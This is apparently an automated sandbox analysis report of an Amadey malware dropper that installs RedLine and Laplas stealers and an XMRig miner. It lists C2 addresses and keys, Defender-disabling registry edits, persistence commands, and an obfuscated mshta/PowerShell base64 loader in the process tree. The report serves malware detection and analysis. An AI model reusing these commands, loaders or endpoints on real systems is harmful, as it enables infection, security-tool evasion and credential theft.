amadey | 524464de3b603e836525218df327009256397c894adda67e500272bf77b0bff5

Analysis

max time kernel
53s
max time network
154s
platform
windows10-2004_x64
resource
win10v2004-20230220-en
resource tags

arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
submitted
16-03-2023 11:19

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

524464de3b603e836525218df327009256397c894adda67e500272bf77b0bff5.exe
Size

656KB
MD5

6943af02f4d5a5495dc18f60c0582644
SHA1

dff7671b1e0200200c7065c4d062c5f462a2f63c
SHA256

524464de3b603e836525218df327009256397c894adda67e500272bf77b0bff5
SHA512

47c0cbf65d9c85ec6f258b1c83d36f0428f39d5e13ef9681147bc1ad44fa74d247929c2dc6afe84f8e6ae5e29872df3570288399bb7976edbbd5552c8f61e408
SSDEEP

12288:5Mr8y903fgB3PchxgMVsrf+QUnZ3jB3nCp0a/JJDLp:RykoFYxnVsrf+xntjB320gXt

Score

10^/10

amadey laplas redline xmrig @redlinevipchat cloud (tg: @fatherofcarders)lint matywon2 clipper discovery evasion infostealer miner persistence spyware stealer trojan upx

Malware Config

Extracted

Family

redline

Botnet

lint

193.233.20.28:4125

Attributes

auth_value
0e95262fb78243c67430f3148303e5b7

Extracted

Family

amadey

Version

3.68

62.204.41.87/joomla/index.php

Extracted

Family

redline

Botnet

@REDLINEVIPCHAT Cloud (TG: @FATHEROFCARDERS)

151.80.89.234:19388

Attributes

auth_value
56af49c3278d982f9a41ef2abb7c4d09

Extracted

Family

redline

Botnet

MatyWon2

85.31.54.216:43728

Attributes

auth_value
abc9e9d7ec3024110589ea03bcfaaa89

Extracted

Family

laplas

http://45.159.189.105

Attributes

api_key
9ee0ef01cd0f0468c997745b63f39799e510412a4bb4e6ff8efcf6f8ac926172

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey
Laplas Clipper
Laplas is a crypto wallet stealer with three variants written in Golang, C#, and C++.
stealer clipper laplas

Modifies Windows Defender Real-time Protection settings 3 TTPs 12 IoCs

evasion trojan

Modify Registry

T1112

Modify Existing Service

T1031

Disabling Security Tools

T1089

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	ns4492JR.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	py42xl16.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	py42xl16.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	py42xl16.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	py42xl16.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	ns4492JR.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	ns4492JR.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	ns4492JR.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	ns4492JR.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	ns4492JR.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	py42xl16.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	py42xl16.exe

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2960	1560	rundll32.exe	43

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 1 IoCs

miner

resource	yara_rule
behavioral1/memory/996-558-0x00007FF7079D0000-0x00007FF7081C4000-memory.dmp	xmrig

Downloads MZ/PE file

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\Control Panel\International\Geo\Nation	ry60Um92.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\Control Panel\International\Geo\Nation	legenda.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\Control Panel\International\Geo\Nation	serv.exe

Executes dropped EXE 16 IoCs

pid	Process
2940	will0526.exe
536	will2004.exe
2868	ns4492JR.exe
2924	py42xl16.exe
2100	qs7697uE.exe
4976	ry60Um92.exe
3336	legenda.exe
2400	legenda.exe
3080	serv.exe
3136	MatyWon.exe
408	2-1_2023-03-14_23-04.exe
4956	10MIL.exe
4748	MatyWon.exe
3276	MatyWon.exe
544	Setupdark.exe
1396	MatyWon.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

UPX packed file 7 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x0006000000023182-349.dat	upx
behavioral1/files/0x0006000000023182-360.dat	upx
behavioral1/files/0x0006000000023182-359.dat	upx
behavioral1/memory/544-370-0x0000000140000000-0x0000000140042000-memory.dmp	upx
behavioral1/memory/544-462-0x0000000140000000-0x0000000140042000-memory.dmp	upx
behavioral1/memory/544-540-0x0000000140000000-0x0000000140042000-memory.dmp	upx
behavioral1/memory/996-558-0x00007FF7079D0000-0x00007FF7081C4000-memory.dmp	upx

Windows security modification 2 TTPs 3 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0"	ns4492JR.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features	py42xl16.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0"	py42xl16.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 7 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce	will0526.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\""	will0526.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce	will2004.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup2 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP002.TMP\\\""	will2004.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\telemetry = "C:\\Users\\Admin\\AppData\\Roaming\\telemetry\\svcservice.exe"	serv.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce	524464de3b603e836525218df327009256397c894adda67e500272bf77b0bff5.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	524464de3b603e836525218df327009256397c894adda67e500272bf77b0bff5.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
63	api.ipify.org
64	api.ipify.org

Launches sc.exe 1 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
396	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 6 IoCs

pid	pid_target	Process	procid_target
1140	2924	WerFault.exe	92
4652	548	WerFault.exe	123
4148	3720	WerFault.exe	140
3552	3080	WerFault.exe	115
1224	2608	WerFault.exe	138
2100	408	WerFault.exe	118

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
2412	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2868	ns4492JR.exe
2868	ns4492JR.exe
2924	py42xl16.exe
2924	py42xl16.exe
2100	qs7697uE.exe
2100	qs7697uE.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2868	ns4492JR.exe
Token: SeDebugPrivilege	2924	py42xl16.exe
Token: SeDebugPrivilege	2100	qs7697uE.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4816 wrote to memory of 2940	4816	524464de3b603e836525218df327009256397c894adda67e500272bf77b0bff5.exe	86
PID 4816 wrote to memory of 2940	4816	524464de3b603e836525218df327009256397c894adda67e500272bf77b0bff5.exe	86
PID 4816 wrote to memory of 2940	4816	524464de3b603e836525218df327009256397c894adda67e500272bf77b0bff5.exe	86
PID 2940 wrote to memory of 536	2940	will0526.exe	87
PID 2940 wrote to memory of 536	2940	will0526.exe	87
PID 2940 wrote to memory of 536	2940	will0526.exe	87
PID 536 wrote to memory of 2868	536	will2004.exe	88
PID 536 wrote to memory of 2868	536	will2004.exe	88
PID 536 wrote to memory of 2924	536	will2004.exe	92
PID 536 wrote to memory of 2924	536	will2004.exe	92
PID 536 wrote to memory of 2924	536	will2004.exe	92
PID 2940 wrote to memory of 2100	2940	will0526.exe	95
PID 2940 wrote to memory of 2100	2940	will0526.exe	95
PID 2940 wrote to memory of 2100	2940	will0526.exe	95
PID 4816 wrote to memory of 4976	4816	524464de3b603e836525218df327009256397c894adda67e500272bf77b0bff5.exe	101
PID 4816 wrote to memory of 4976	4816	524464de3b603e836525218df327009256397c894adda67e500272bf77b0bff5.exe	101
PID 4816 wrote to memory of 4976	4816	524464de3b603e836525218df327009256397c894adda67e500272bf77b0bff5.exe	101
PID 4976 wrote to memory of 3336	4976	ry60Um92.exe	103
PID 4976 wrote to memory of 3336	4976	ry60Um92.exe	103
PID 4976 wrote to memory of 3336	4976	ry60Um92.exe	103
PID 3336 wrote to memory of 2412	3336	legenda.exe	104
PID 3336 wrote to memory of 2412	3336	legenda.exe	104
PID 3336 wrote to memory of 2412	3336	legenda.exe	104
PID 3336 wrote to memory of 4528	3336	legenda.exe	106
PID 3336 wrote to memory of 4528	3336	legenda.exe	106
PID 3336 wrote to memory of 4528	3336	legenda.exe	106
PID 4528 wrote to memory of 4968	4528	cmd.exe	108
PID 4528 wrote to memory of 4968	4528	cmd.exe	108
PID 4528 wrote to memory of 4968	4528	cmd.exe	108
PID 4528 wrote to memory of 4980	4528	cmd.exe	109
PID 4528 wrote to memory of 4980	4528	cmd.exe	109
PID 4528 wrote to memory of 4980	4528	cmd.exe	109
PID 4528 wrote to memory of 444	4528	cmd.exe	110
PID 4528 wrote to memory of 444	4528	cmd.exe	110
PID 4528 wrote to memory of 444	4528	cmd.exe	110
PID 4528 wrote to memory of 2244	4528	cmd.exe	111
PID 4528 wrote to memory of 2244	4528	cmd.exe	111
PID 4528 wrote to memory of 2244	4528	cmd.exe	111
PID 4528 wrote to memory of 3752	4528	cmd.exe	112
PID 4528 wrote to memory of 3752	4528	cmd.exe	112
PID 4528 wrote to memory of 3752	4528	cmd.exe	112
PID 4528 wrote to memory of 508	4528	cmd.exe	113
PID 4528 wrote to memory of 508	4528	cmd.exe	113
PID 4528 wrote to memory of 508	4528	cmd.exe	113
PID 3336 wrote to memory of 3080	3336	legenda.exe	115
PID 3336 wrote to memory of 3080	3336	legenda.exe	115
PID 3336 wrote to memory of 3080	3336	legenda.exe	115
PID 3336 wrote to memory of 3136	3336	legenda.exe	116
PID 3336 wrote to memory of 3136	3336	legenda.exe	116
PID 3336 wrote to memory of 3136	3336	legenda.exe	116
PID 3136 wrote to memory of 3276	3136	MatyWon.exe	117
PID 3136 wrote to memory of 3276	3136	MatyWon.exe	117
PID 3136 wrote to memory of 3276	3136	MatyWon.exe	117
PID 3336 wrote to memory of 408	3336	legenda.exe	118
PID 3336 wrote to memory of 408	3336	legenda.exe	118
PID 3336 wrote to memory of 408	3336	legenda.exe	118
PID 3336 wrote to memory of 4956	3336	legenda.exe	119
PID 3336 wrote to memory of 4956	3336	legenda.exe	119
PID 3336 wrote to memory of 4956	3336	legenda.exe	119
PID 3336 wrote to memory of 4748	3336	legenda.exe	121
PID 3336 wrote to memory of 4748	3336	legenda.exe	121
PID 3336 wrote to memory of 4748	3336	legenda.exe	121
PID 4748 wrote to memory of 800	4748	MatyWon.exe	122
PID 4748 wrote to memory of 800	4748	MatyWon.exe	122

C:\Users\Admin\AppData\Local\Temp\524464de3b603e836525218df327009256397c894adda67e500272bf77b0bff5.exe
"C:\Users\Admin\AppData\Local\Temp\524464de3b603e836525218df327009256397c894adda67e500272bf77b0bff5.exe"
1⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:4816
- C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\will0526.exe
  C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\will0526.exe
  2⤵
  - Executes dropped EXE
  - Adds Run key to start application
  - Suspicious use of WriteProcessMemory
  PID:2940
- - C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\will2004.exe
    C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\will2004.exe
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of WriteProcessMemory
    PID:536
  - - C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\ns4492JR.exe
      C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\ns4492JR.exe
      4⤵
      Modifies Windows Defender Real-time Protection settings
      Executes dropped EXE
      Windows security modification
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2868
  - - C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\py42xl16.exe
      C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\py42xl16.exe
      4⤵
      Modifies Windows Defender Real-time Protection settings
      Executes dropped EXE
      Windows security modification
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2924
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2924 -s 1084
        5⤵
        Program crash
        
        PID:1140
- - C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\qs7697uE.exe
    C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\qs7697uE.exe
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2100
- C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\ry60Um92.exe
  C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\ry60Um92.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4976
- - C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exe
    "C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:3336
  - - C:\Windows\SysWOW64\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN legenda.exe /TR "C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exe" /F
      4⤵
      Creates scheduled task(s)
      PID:2412
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /k echo Y|CACLS "legenda.exe" /P "Admin:N"&&CACLS "legenda.exe" /P "Admin:R" /E&&echo Y|CACLS "..\f22b669919" /P "Admin:N"&&CACLS "..\f22b669919" /P "Admin:R" /E&&Exit
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4528
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        5⤵
        
        PID:4968
    - - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "legenda.exe" /P "Admin:N"
        5⤵
        
        PID:4980
    - - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "legenda.exe" /P "Admin:R" /E
        5⤵
        
        PID:444
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        5⤵
        
        PID:2244
    - - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "..\f22b669919" /P "Admin:N"
        5⤵
        
        PID:3752
    - - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "..\f22b669919" /P "Admin:R" /E
        5⤵
        
        PID:508
  - - C:\Users\Admin\AppData\Local\Temp\1000026001\serv.exe
      "C:\Users\Admin\AppData\Local\Temp\1000026001\serv.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      Adds Run key to start application
      PID:3080
    - - C:\Users\Admin\AppData\Roaming\telemetry\svcservice.exe
        
        "C:\Users\Admin\AppData\Roaming\telemetry\svcservice.exe"
        5⤵
        
        PID:4908
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3080 -s 1348
        5⤵
        Program crash
        
        PID:3552
  - - C:\Users\Admin\AppData\Local\Temp\1000027001\MatyWon.exe
      "C:\Users\Admin\AppData\Local\Temp\1000027001\MatyWon.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:3136
    - - C:\Users\Admin\AppData\Local\Temp\1000027001\MatyWon.exe
        
        C:\Users\Admin\AppData\Local\Temp\1000027001\MatyWon.exe
        5⤵
        Executes dropped EXE
        
        PID:3276
    - - C:\Users\Admin\AppData\Local\Temp\1000027001\MatyWon.exe
        
        C:\Users\Admin\AppData\Local\Temp\1000027001\MatyWon.exe
        5⤵
        
        PID:548
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 548 -s 12
        6⤵
        Program crash
        
        PID:4652
  - - C:\Users\Admin\AppData\Local\Temp\1000036001\2-1_2023-03-14_23-04.exe
      "C:\Users\Admin\AppData\Local\Temp\1000036001\2-1_2023-03-14_23-04.exe"
      4⤵
      Executes dropped EXE
      PID:408
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 408 -s 840
        5⤵
        Program crash
        
        PID:2100
  - - C:\Users\Admin\AppData\Local\Temp\1000041001\10MIL.exe
      "C:\Users\Admin\AppData\Local\Temp\1000041001\10MIL.exe"
      4⤵
      Executes dropped EXE
      PID:4956
  - - C:\Users\Admin\AppData\Local\Temp\1000042001\MatyWon.exe
      "C:\Users\Admin\AppData\Local\Temp\1000042001\MatyWon.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:4748
    - - C:\Users\Admin\AppData\Local\Temp\1000042001\MatyWon.exe
        
        C:\Users\Admin\AppData\Local\Temp\1000042001\MatyWon.exe
        5⤵
        
        PID:800
    - - C:\Users\Admin\AppData\Local\Temp\1000042001\MatyWon.exe
        
        C:\Users\Admin\AppData\Local\Temp\1000042001\MatyWon.exe
        5⤵
        
        PID:2388
  - - C:\Users\Admin\AppData\Local\Temp\1000044001\Setupdark.exe
      "C:\Users\Admin\AppData\Local\Temp\1000044001\Setupdark.exe"
      4⤵
      Executes dropped EXE
      PID:544
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c ""C:\Users\Admin\AppData\Local\Temp\7zSFX\KillDuplicate.cmd" "C:\Users\Admin\AppData\Local\Temp\7zSFX" "Setupdark.exe""
        5⤵
        
        PID:1324
    - - C:\Users\Admin\AppData\Local\Temp\7zSFX\installer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\7zSFX\installer.exe"
        5⤵
        
        PID:1956
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell gc cache.tmp|iex
        6⤵
        
        PID:3604
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7ZSfx000.cmd" "
        5⤵
        
        PID:2840
  - - C:\Users\Admin\AppData\Local\Temp\1000045001\MatyWon.exe
      "C:\Users\Admin\AppData\Local\Temp\1000045001\MatyWon.exe"
      4⤵
      Executes dropped EXE
      PID:1396
    - - C:\Users\Admin\AppData\Local\Temp\1000045001\MatyWon.exe
        
        C:\Users\Admin\AppData\Local\Temp\1000045001\MatyWon.exe
        5⤵
        
        PID:2528
    - - C:\Users\Admin\AppData\Local\Temp\1000045001\MatyWon.exe
        
        C:\Users\Admin\AppData\Local\Temp\1000045001\MatyWon.exe
        5⤵
        
        PID:2176
    - - C:\Users\Admin\AppData\Local\Temp\1000045001\MatyWon.exe
        
        C:\Users\Admin\AppData\Local\Temp\1000045001\MatyWon.exe
        5⤵
        
        PID:2608
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2608 -s 12
        6⤵
        Program crash
        
        PID:1224
  - - C:\Users\Admin\AppData\Local\Temp\1000047001\lish.exe
      "C:\Users\Admin\AppData\Local\Temp\1000047001\lish.exe"
      4⤵
      PID:5112
    - - C:\Users\Admin\AppData\Local\Temp\1000047001\lish.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000047001\lish.exe" -h
        5⤵
        
        PID:3512
  - - C:\Windows\SysWOW64\rundll32.exe
      "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\a091ec0a6e2227\clip64.dll, Main
      4⤵
      PID:3292

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 2924 -ip 2924
1⤵
PID:1012

C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exe
C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exe
1⤵
- Executes dropped EXE
PID:2400

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 396 -p 548 -ip 548
1⤵
PID:4388

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\db.dll",open
1⤵
- Process spawned unexpected child process
PID:2960
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\db.dll",open
  2⤵
  PID:3720
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3720 -s 600
    3⤵
    - Program crash
    PID:4148

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 3720 -ip 3720
1⤵
PID:748

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 3080 -ip 3080
1⤵
PID:4224

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 2608 -ip 2608
1⤵
PID:4068

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 408 -ip 408
1⤵
PID:4268

C:\Windows\system32\mshta.exe
mshta.exe vBsCrIPt:eXeCuTe("creaTeoBjEcT(""wScRIPt.sHell"").RuN ""POweRsHelL [sCRiPTblock]::cReaTe([TExt.eNCODIng]::uTf8.GeTStriNG([COnveRt]::FROmBase64StriNG('KFt0RVh0LmVuY09EaU5nXTo6VXRGOC5nRVRzVHJJTmcoW0NPbnZFcnRdOjpmUk9tQkFTRTY0U1RySW5HKChnUCAoKCgiezZ9ezF9ezd9ezl9ezB9ezN9ezR9ezh9ezV9ezJ9Ii1mJ31Tb2YnLCdLJywnZW0nLCd0d2FyJywnZScsJ3N0JywnSCcsJ0xNOnsnLCd7MH1TdWJzeScsJzAnKSkgIC1mIFtjaEFyXTkyKSkuTW9kdWxlcykpKXxpRXg='))).InVoKe()"", 0:close")
1⤵
PID:2904
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [sCRiPTblock]::cReaTe([TExt.eNCODIng]::uTf8.GeTStriNG([COnveRt]::FROmBase64StriNG('KFt0RVh0LmVuY09EaU5nXTo6VXRGOC5nRVRzVHJJTmcoW0NPbnZFcnRdOjpmUk9tQkFTRTY0U1RySW5HKChnUCAoKCgiezZ9ezF9ezd9ezl9ezB9ezN9ezR9ezh9ezV9ezJ9Ii1mJ31Tb2YnLCdLJywnZW0nLCd0d2FyJywnZScsJ3N0JywnSCcsJ0xNOnsnLCd7MH1TdWJzeScsJzAnKSkgIC1mIFtjaEFyXTkyKSkuTW9kdWxlcykpKXxpRXg='))).InVoKe()
  2⤵
  PID:2984

C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exe
C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exe
1⤵
PID:3344

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
1⤵
PID:1424
- C:\Windows\System32\powercfg.exe
  powercfg /x -hibernate-timeout-ac 0
  2⤵
  PID:1116
- C:\Windows\System32\powercfg.exe
  powercfg /x -hibernate-timeout-dc 0
  2⤵
  PID:2836
- C:\Windows\System32\powercfg.exe
  powercfg /x -standby-timeout-ac 0
  2⤵
  PID:4076
- C:\Windows\System32\powercfg.exe
  powercfg /x -standby-timeout-dc 0
  2⤵
  PID:4896

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Windows\system32\config\systemprofile\AppData\Roaming\Google\Libs\g.log"
1⤵
PID:4208
- C:\Windows\System32\Wbem\WMIC.exe
  wmic PATH Win32_VideoController GET Name, VideoProcessor
  2⤵
  PID:1828

C:\Windows\System32\dwm.exe
C:\Windows\System32\dwm.exe zhmmsenlystloagm 6E3sjfZq2rJQaxvLPmXgsI9k3lzgqxZWKvq91iZ/nshLCEmutaAtAHNnYMHPR6DnhDabklL03EByuki6Tvxn4oukjMsuwFsfiPLqnJaaWgbBwjLE/5UQn7JiI/bTnS+X7F+K4i9zffz4kvbauHMm6cTHS1tmOnJyZoUAEbmB28cBji0Q3nGjJyAMXFZ9o0jr/wAgIOE3y+WPUmCe+yKH6QARDUx//StkXioLdwFDCoSgNNpruMfv5i84FaHMhEq344Gndd8wfYxmch4Hf5KDdMFYRVSb5wGfy/xW4uwMZuktDMhUcm5sQhLNMUMpzFmg4H7klQudu4JD8vrXt4R5pikf2HSxFxo5c/8uHGvIOmMZPbO4p8kmL6wdbqqkEXmx56sdl7xTGOwu8uTwN6Yqh+XkG8FzNMyo2OwXTZz9HveAqItFmbNE6IFpcLaFCW2YQPM5acY2YSZh/Rx2dxzcQSwPSBdQ4TtCW4FcTDVUvPaqpYNCbR1ZSKbt4uDoqlti6vAQcV29/RSPlSCPlvdTFLkB7JyL1Npu8EHX3awNB62rFaXS9ZM47Nk+8XW0Qe9NFxv+V3NHGi2j6iDzAQemet07Yuh6h+UBVPBfybISPl21984gdbS2amI4PGhUQlR12tMsQHPxZmHEb1ylFdkg7pGGtMAlZ318xIxJ0gpmU1Rw6PDBVF1jLiljSdHMmRSR0Obn4Ef24CWlyPhLxRFfpun7JWQGLhpgPGsBQ8NwLJoEhnADolEWhcqdiR3ha+e6kLMB3M0nTg/RrKsUpPhh2uhnOZzAWGAL2f5bLhMtjU6Dsta+Gpl1bYOMy4Dz8zKxj/grd1I1t1R41Wet53wiLv3fNDNaZImb6cFAXzfBWwfFg634jXqqOUIxeyzVc0K3G329C78wrkDu2jPIkp8Kl0eFkCJw+T1IhtCiU+CU6+laHYmVxZ9SN06OG+6Zew1r2GJwJScRZvY9OMhQgydznTQUJbTELy6Y1Rq4QnMbB5XHAkJBt71gCejMigdUBAjlYrfP4q/UDIIJEGKbRuljQ5Gtcg9yO7Ras5lbZwfxNiJMJNLZe5UrxmGAdNLAsGgz2K21aJNjrC0vFfMLVpY2RDV8Xnmsgf0oycechwFRGP2wM5BlzsbTqTamot5Kg